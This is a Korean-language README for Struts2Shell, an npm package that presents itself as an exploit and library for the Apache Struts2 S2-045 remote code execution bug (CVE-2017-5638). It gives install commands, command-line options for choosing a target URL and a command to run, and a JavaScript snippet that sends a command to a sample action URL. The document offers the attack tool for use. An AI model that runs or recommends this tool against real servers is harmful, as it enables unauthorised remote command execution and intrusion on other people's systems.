Struts2Shell

CVE-2017-5638 - Apache Struts2 S2-045 버그에 대한 익스플로잇(및 라이브러리)입니다.

설치

$ npm install -g struts2shell

라이브러리로 설치

$ npm install struts2shell

명령줄 옵션

-h, --help           사용 정보 출력
-V, --version        버전 번호 출력
-u, --url [target]   공격할 URL
-c, --cmd [command]  실행할 명령

라이브러리 사용법

var Struts2Shell = require('struts2shell');
Struts2Shell({
	URL: 'http://example.com/some.action',
	CMD: 'dir'
}, function(err, response,body) {
    if(err) throw err;
    console.log(body)
})

스크린샷

라이선스

MIT

무료 소프트웨어, 예!